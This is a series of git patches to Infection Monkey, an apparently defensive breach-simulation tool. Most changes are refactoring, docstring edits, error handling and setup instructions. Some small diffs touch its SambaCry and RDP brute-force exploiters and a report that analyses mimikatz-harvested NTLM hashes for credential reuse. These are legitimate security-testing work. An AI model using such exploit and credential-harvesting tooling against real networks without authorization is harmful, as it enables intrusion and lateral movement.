{'$ne': []}, 'secret_location': {'$ne': []}, - 'type': 1 + 'type': USERTYPE }, { 'admin_on_machines': 1, 'secret_location': 1 diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 216882fa7..fe8928a56 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -561,7 +561,7 @@ class ReportService: issues_dict = {} for issue in issues: if issue.get('is_local', True): - machine = issue.get('machine', '').upper() + machine = issue.get('machine').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py similarity index 96% rename from monkey/monkey_island/cc/services/wmi_info_handler.py rename to monkey/monkey_island/cc/services/wmi_handler.py index d119772f5..a0ffcba8b 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,4 +1,5 @@ from cc.database import mongo +from cc.services.groups_and_users_consts import USERTYPE __author__ = 'maor.rayzin' @@ -15,8 +16,8 @@ class WMIHandler(object): self.users_info = wmi_info['Win32_UserAccount'] self.groups_info = wmi_info['Win32_Group'] self.groups_and_users = wmi_info['Win32_GroupUser'] - self.products = wmi_info['Win32_Service'] - self.services = wmi_info['Win32_Product'] + self.services = wmi_info['Win32_Service'] + self.products = wmi_info['Win32_Product'] def process_and_handle_wmi_info(self): @@ -128,7 +129,7 @@ class WMIHandler(object): # if entity is domain entity, add the monkey id of current machine to secrets_location. # (found on this machine) if entity.get('NTLM_secret'): - mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE}, {'$addToSet': {'secret_location': self.monkey_id}}) def update_admins_retrospective(self): @@ -148,7 +149,7 @@ class WMIHandler(object): mongo.db.groupsandusers.update_one({'SID': sid}, {'$addToSet': {'admin_on_machines': machine_id}}) entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, - {'type': 1, 'entities_list': 1}) + {'type': USERTYPE, 'entities_list': 1}) if entity_details.get('type') == 2: self.add_admin(entity_details, machine_id) From 3bf917af80056686bcb1131a0de54e348ca7d23c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 31 Oct 2018 14:28:52 +0200 Subject: [PATCH 116/183] RE-CR: tiny corrections --- .../monkey_island/cc/services/groups_and_users_consts.py | 5 +++-- monkey/monkey_island/cc/services/wmi_handler.py | 8 ++++---- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py index 03fefbe02..0e22a34ba 100644 --- a/monkey/monkey_island/cc/services/groups_and_users_consts.py +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -1,5 +1,6 @@ """This file will include consts values regarding the groupsandusers collection""" -USERTYPE = 1 +__author__ = 'maor.rayzin' -GROUPTYPE = 2 \ No newline at end of file +USERTYPE = 1 +GROUPTYPE = 2 diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index a0ffcba8b..5842ae5c6 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,5 +1,5 @@ from cc.database import mongo -from cc.services.groups_and_users_consts import USERTYPE +from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE __author__ = 'maor.rayzin' @@ -66,7 +66,7 @@ class WMIHandler(object): base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') base_entity['secret_location'] = [] - base_entity['type'] = 1 + base_entity['type'] = USERTYPE self.info_for_mongo[base_entity.get('SID')] = base_entity def add_groups_to_collection(self): @@ -76,7 +76,7 @@ class WMIHandler(object): else: base_entity = self.build_entity_document(group, self.monkey_id) base_entity['entities_list'] = [] - base_entity['type'] = 2 + base_entity['type'] = GROUPTYPE self.info_for_mongo[base_entity.get('SID')] = base_entity def create_group_user_connection(self): @@ -150,6 +150,6 @@ class WMIHandler(object): {'$addToSet': {'admin_on_machines': machine_id}}) entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, {'type': USERTYPE, 'entities_list': 1}) - if entity_details.get('type') == 2: + if entity_details.get('type') == GROUPTYPE: self.add_admin(entity_details, machine_id) From 0bd252d83206b0a3afd75cd6954095c8cbb05071 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 31 Oct 2018 14:51:23 +0200 Subject: [PATCH 117/183] RE-CR: more docs --- monkey/monkey_island/cc/services/pth_report.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index f72a430ba..858f7c87a 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -8,7 +8,12 @@ from cc.services.node import NodeService __author__ = 'maor.rayzin' + class PTHReportService(object): + """ + A static class supplying utils to produce a report based on the PTH related information + gathered via mimikatz and wmi. + """ @staticmethod def __dup_passwords_mongoquery(): From bdda578920764c228cfd7da7e1cc6398b04a7f5e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 5 Nov 2018 15:15:02 +0200 Subject: [PATCH 118/183] First fix: No indication for bad configuration file loaded via the "Import" button in configuration page. Added specific error handling for that part. --- .../cc/resources/monkey_configuration.py | 5 +++-- monkey/monkey_island/cc/services/config.py | 7 ++++++- .../cc/ui/src/components/pages/ConfigurePage.js | 16 ++++++++++++++++ 3 files changed, 25 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py index 6dab8dddb..7032ba643 100644 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -1,7 +1,7 @@ import json import flask_restful -from flask import request, jsonify +from flask import request, jsonify, abort from cc.auth import jwt_required from cc.services.config import ConfigService @@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource): if 'reset' in config_json: ConfigService.reset_config() else: - ConfigService.update_config(config_json, should_encrypt=True) + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) return self.get() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index c34db0eac..64b359f61 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -977,9 +977,14 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: - ConfigService.encrypt_config(config_json) + try: + ConfigService.encrypt_config(config_json) + except KeyError as e: + logger.error('Bad configuration file was submitted.') + return False mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) logger.info('monkey config was updated') + return True @staticmethod def init_default_config(): diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index afa42d6e7..a97447df0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent { headers: {'Content-Type': 'application/json'}, body: JSON.stringify(this.state.configuration) }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }) .then(res => res.json()) .then(res => { this.setState({ @@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent { configuration: res.configuration }); this.props.onStatusChange(); + }).catch(error => { + console.log('bad configuration'); + this.setState({lastAction: 'invalid_configuration'}); }); }; @@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent { Failed importing configuration. Invalid config file. : ''} + { this.state.lastAction === 'invalid_configuration' ? +
    + + An invalid configuration file was imported and submitted, probably outdated. +
    + : ''} { this.state.lastAction === 'import_success' ?
    From 53ed6004b56263dec6583ee942cb29095cbbe3e9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 5 Nov 2018 16:10:27 +0200 Subject: [PATCH 119/183] Second Fix: info log wasn't being created on some envs Changed the path to the json config file to be a relative generic path --- monkey/monkey_island/cc/main.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index a739c3a35..86015b5d4 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -1,6 +1,7 @@ from __future__ import print_function # In python 2.7 import os +import os.path import sys import time import logging @@ -12,7 +13,8 @@ if BASE_PATH not in sys.path: from cc.island_logger import json_setup_logging # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG) +json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'), + default_level=logging.DEBUG) logger = logging.getLogger(__name__) from cc.app import init_app From f12ee32e219f66dd08594cec7f9b61a88cdf5447 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:18 +0200 Subject: [PATCH 120/183] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 858f7c87a..89fe2aad5 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -18,7 +18,7 @@ class PTHReportService(object): @staticmethod def __dup_passwords_mongoquery(): """ - This function build and query the mongoDB for users found that are using the same passwords, this is done + This function builds and queries the mongoDB for users that are using the same passwords. this is done by comparing the NTLM hash found for each user by mimikatz. :return: A list of mongo documents (dicts in python) that look like this: From c28f2d6c63a84f5a58aa2d8565bc4084020789e3 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:23 +0200 Subject: [PATCH 121/183] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 89fe2aad5..fad7ecf17 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -50,7 +50,7 @@ class PTHReportService(object): @staticmethod def __get_admin_on_machines_format(admin_on_machines, domain_name): """ - This function finds for each admin user, what machines its admin of and compile them to a list. + This function finds for each admin user, which machines its an admin of, and compile them to a list. :param admin_on_machines: A list of "monkey" documents "_id"s :param domain_name: The admin's domain name :return: From 5b8b0258c056a405adb684b4c858d71e99643cc6 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:28 +0200 Subject: [PATCH 122/183] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index fad7ecf17..3ae19cf17 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -52,7 +52,7 @@ class PTHReportService(object): """ This function finds for each admin user, which machines its an admin of, and compile them to a list. :param admin_on_machines: A list of "monkey" documents "_id"s - :param domain_name: The admin's domain name + :param domain_name: The admins' domain name :return: A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. """ From cf9656068bfad60e4cd93902d4e63a2b385520a8 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Mon, 5 Nov 2018 16:48:32 +0200 Subject: [PATCH 123/183] Update monkey/monkey_island/cc/services/pth_report.py Co-Authored-By: MaorCore <39161867+MaorCore@users.noreply.github.com> --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 3ae19cf17..6a0138c4f 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -62,7 +62,7 @@ class PTHReportService(object): @staticmethod def __strong_users_on_crit_query(): """ - This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hash and + This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and are administrators on machines with services predefined as important services thus making these machines critical. :return: From 9e68bf0bedc94d7eaee390aeab420db705c8d75e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Nov 2018 13:41:43 +0200 Subject: [PATCH 124/183] Added a few missing steps to monkey_island setup instructions (readme.txt in monkey_island) --- monkey/monkey_island/readme.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 320f5caa3..7d727bbcc 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,6 +1,7 @@ How to set up the Monkey Island server: ---------------- On Windows ----------------: +0. Exclude the folder you are planning to install monkey on from windows deffender as it will start deleting source files. 1. Create folder "bin" under monkey_island 2. Place portable version of Python 2.7 2.1. Download and install from: https://www.python.org/download/releases/2.7/ @@ -11,8 +12,9 @@ How to set up the Monkey Island server: 3. Place portable version of mongodb 3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip 3.2. Extract contents from bin folder to monkey_island\bin\mongodb. + 3.3. Create monkey_island\db folder. 4. Place portable version of OpenSSL - 4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip + 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip 4.2. Extract content from bin folder to monkey_island\bin\openssl 5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572 From 73856a8be933d513dfb03ea8dd8a29102b74c1ce Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 6 Nov 2018 18:19:52 +0200 Subject: [PATCH 125/183] HOTFIX: fixing location to be str and not unicode, BytesIO cant work with unicode. --- monkey/infection_monkey/exploit/sambacry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index f55b43553..9e08d2dff 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -311,7 +311,7 @@ class SambaCryExploiter(HostExploiter): return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) + return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location))) @staticmethod def is_share_writable(smb_client, share): From 527c06b35c7266eabd14bf943a1afe9c065b5fdc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Nov 2018 18:34:36 +0200 Subject: [PATCH 126/183] Changed rule no. 0. to be more general and without typos. --- monkey/monkey_island/readme.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 7d727bbcc..82deb43b6 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,7 +1,7 @@ How to set up the Monkey Island server: ---------------- On Windows ----------------: -0. Exclude the folder you are planning to install monkey on from windows deffender as it will start deleting source files. +0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. 1. Create folder "bin" under monkey_island 2. Place portable version of Python 2.7 2.1. Download and install from: https://www.python.org/download/releases/2.7/ From 0361219488f8222ba495a3f0bad7982833f34d32 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 7 Nov 2018 16:05:36 +0200 Subject: [PATCH 127/183] HOTFIX: missing pckg in requirements.txt -fixed --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index c951c73ba..468b748e8 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -13,4 +13,5 @@ PyInstaller six ecdsa netifaces -ipaddress \ No newline at end of file +ipaddress +wmi \ No newline at end of file From b14384fcb54b52c5f05508effc85a94fc9e74763 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 11 Nov 2018 12:16:54 +0200 Subject: [PATCH 128/183] HOTFIX: Ignored cases where a user doesn't have hostname in shared_passwords issue --- monkey/monkey_island/cc/services/pth_report.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 6a0138c4f..7e4d6e1c2 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -119,7 +119,8 @@ class PTHReportService(object): { 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['hostname'] + '\\' + i['username'] for i in group['cred_groups']], + 'shared_with': [i['hostname'] if i['hostname'] + else i['domain_name'] + '\\' + i['username'] for i in group['cred_groups']], 'is_local': False if user_info['domain_name'] else True } ) From 3bb8531b4d29b7bc15ea019923bac702f87335aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 11 Nov 2018 14:01:03 +0200 Subject: [PATCH 129/183] HOTFIX: Better label constructing for dup passwords issue --- monkey/monkey_island/cc/services/pth_report.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 7e4d6e1c2..3d7375dc1 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -93,6 +93,10 @@ class PTHReportService(object): ] return mongo.db.groupsandusers.aggregate(pipeline) + @staticmethod + def __build_dup_user_label(i): + return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username'] + @staticmethod def get_duplicated_passwords_nodes(): users_cred_groups = [] @@ -119,8 +123,7 @@ class PTHReportService(object): { 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['hostname'] if i['hostname'] - else i['domain_name'] + '\\' + i['username'] for i in group['cred_groups']], + 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']], 'is_local': False if user_info['domain_name'] else True } ) From 9812dcd77dd88636fadc7e4e6063c02aa0df3d0a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 11 Nov 2018 15:18:52 +0200 Subject: [PATCH 130/183] A typo in the report page --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 67dc9e0c4..f88df4831 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -478,7 +478,7 @@ class ReportPageComponent extends AuthComponent { return (

    - Credential Map + Credentials Map

    This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers. From f79629819e4a31184bee7d13fc9538fb88c9bddc Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 11 Nov 2018 17:13:30 +0200 Subject: [PATCH 131/183] Fix traceroute --- monkey/infection_monkey/network/tools.py | 127 ++++++++++++++--------- 1 file changed, 76 insertions(+), 51 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 112eb53a2..b3cd64d12 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -5,12 +5,11 @@ import select import socket import struct import time - -from six import text_type -import ipaddress +import re DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 +IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 @@ -176,56 +175,82 @@ def tcp_port_to_service(port): def traceroute(target_ip, ttl): """ - Traceroute for a specific IP. - :param target_ip: Destination + Traceroute for a specific IP/name. + :param target_ip: IP/name of target :param ttl: Max TTL :return: Sequence of IPs in the way """ if sys.platform == "win32": - try: - # we'll just use tracert because that's always there - cli = ["tracert", - "-d", - "-w", "250", - "-h", str(ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ip_lines = stdout.split('\r\n')[3:-3] - trace_list = [] - for line in ip_lines: - tokens = line.split() - last_token = tokens[-1] - try: - ip_addr = ipaddress.ip_address(text_type(last_token)) - except ValueError: - ip_addr = "" - trace_list.append(ip_addr) - return trace_list - except: - return [] + return _traceroute_windows(target_ip, ttl) else: # linux based hopefully - # implementation note: We're currently going to just use ping. - # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) - # while this is just ugly - # we can't use traceroute because it's not always installed - current_ttl = 1 - trace_list = [] - while current_ttl <= ttl: - try: - cli = ["ping", - "-c", "1", - "-w", "1", - "-t", str(current_ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ip_line = stdout.split('\n') - ip_line = ip_line[1] - ip = ip_line.split()[1] - trace_list.append(ipaddress.ip_address(text_type(ip))) - except (IndexError, ValueError): - # assume we failed parsing output - trace_list.append("") - current_ttl += 1 - return trace_list + return _traceroute_linux(target_ip, ttl) + + +def _traceroute_windows(target_ip, ttl): + """ + Traceroute for a specific IP/name - Windows implementation + """ + # we'll just use tracert because that's always there + cli = ["tracert", + "-d", + "-w", "250", + "-h", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + ip_lines = stdout.split('\r\n') + trace_list = [] + + first_line_index = None + for i in range(len(ip_lines)): + if re.search(r'^\s*1', ip_lines[i]) is not None: + first_line_index = i + break + + for i in range(first_line_index, first_line_index + ttl): + if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished + break + + re_res = re.search(IP_ADDR_RE, ip_lines[i]) + if re_res is None: + ip_addr = None + else: + ip_addr = re_res.group() + trace_list.append(ip_addr) + + return trace_list + + +def _traceroute_linux(target_ip, ttl): + """ + Traceroute for a specific IP/name - Linux implementation + """ + # implementation note: We're currently going to just use ping. + # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) + # while this is just ugly + # we can't use traceroute because it's not always installed + current_ttl = 1 + trace_list = [] + while current_ttl <= ttl: + cli = ["ping", + "-c", "1", + "-w", "1", + "-t", str(current_ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + ips = re.findall(IP_ADDR_RE, stdout) + if len(ips) < 2: + raise Exception("Unexpected output") + elif ips[-1] in trace_list: # Failed getting this hop + trace_list.append(None) + else: + trace_list.append(ips[-1]) + dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings + + if dest_ip == ips[-1]: + break + + current_ttl += 1 + + return trace_list From 8994b0671f1698cc834a42925282525ebd036fe6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 11 Nov 2018 20:03:17 +0200 Subject: [PATCH 132/183] fixed CR --- monkey/infection_monkey/network/tools.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index b3cd64d12..fa84f84fe 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -7,6 +7,8 @@ import struct import time import re +from six.moves import range + DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' @@ -240,8 +242,8 @@ def _traceroute_linux(target_ip, ttl): proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) stdout, stderr = proc_obj.communicate() ips = re.findall(IP_ADDR_RE, stdout) - if len(ips) < 2: - raise Exception("Unexpected output") + if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable. + return [] elif ips[-1] in trace_list: # Failed getting this hop trace_list.append(None) else: From b42ff98f9f987ac5d7308c778595a37147a9aca4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 12 Nov 2018 16:17:12 +0200 Subject: [PATCH 133/183] Converts utf to ascii and fixes the problem of rdp grinder not being able to handle utf encoded credentials --- monkey/infection_monkey/exploit/rdpgrinder.py | 5 +++++ monkey/infection_monkey/utils.py | 4 ++++ 2 files changed, 9 insertions(+) diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 3873a8ce3..a67a812f6 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -15,6 +15,7 @@ from infection_monkey.exploit.tools import get_target_monkey from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.utils import utf_to_ascii __author__ = 'hoffer' @@ -298,6 +299,10 @@ class RdpExploiter(HostExploiter): LOG.info("RDP connected to %r", self.host) + user = utf_to_ascii(user) + password = utf_to_ascii(password) + command = utf_to_ascii(command) + client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 3f04ed9fb..d138f85ed 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -30,3 +30,7 @@ def is_64bit_python(): def is_windows_os(): return sys.platform.startswith("win") + +def utf_to_ascii(string): + udata = string.decode("utf-8") + return udata.encode("ascii", "ignore") \ No newline at end of file From fa8975706e63d8f2b0bf3c1ac0208e72e534c678 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 12 Nov 2018 16:23:01 +0200 Subject: [PATCH 134/183] Cosmetic changes --- monkey/infection_monkey/utils.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index d138f85ed..635f2360d 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -32,5 +32,6 @@ def is_windows_os(): def utf_to_ascii(string): + # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") - return udata.encode("ascii", "ignore") \ No newline at end of file + return udata.encode("ascii", "ignore") From 83da1cc23e912e4c0cb858b59f73b36942bb0117 Mon Sep 17 00:00:00 2001 From: Patrick Neise Date: Mon, 12 Nov 2018 10:18:43 -0800 Subject: [PATCH 135/183] updated readme.txt and _MONGO_UURL to support connecting to external MongoDB instance by setting MONKEY_MONGO_URL env variable --- .../monkey_island/cc/environment/__init__.py | 3 +- monkey/monkey_island/readme.txt | 43 ++++++++++++++----- 2 files changed, 34 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 712ba232a..e957d8494 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -1,5 +1,6 @@ import abc from datetime import timedelta +import os __author__ = 'itay.mizeretz' @@ -8,7 +9,7 @@ class Environment(object): __metaclass__ = abc.ABCMeta _ISLAND_PORT = 5000 - _MONGO_URL = "mongodb://localhost:27017/monkeyisland" + _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland") _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(hours=1) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 82deb43b6..8f6095c7e 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -9,10 +9,20 @@ How to set up the Monkey Island server: 2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27 2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27 2.5. (Optional) You may uninstall Python27 if you like. -3. Place portable version of mongodb - 3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip - 3.2. 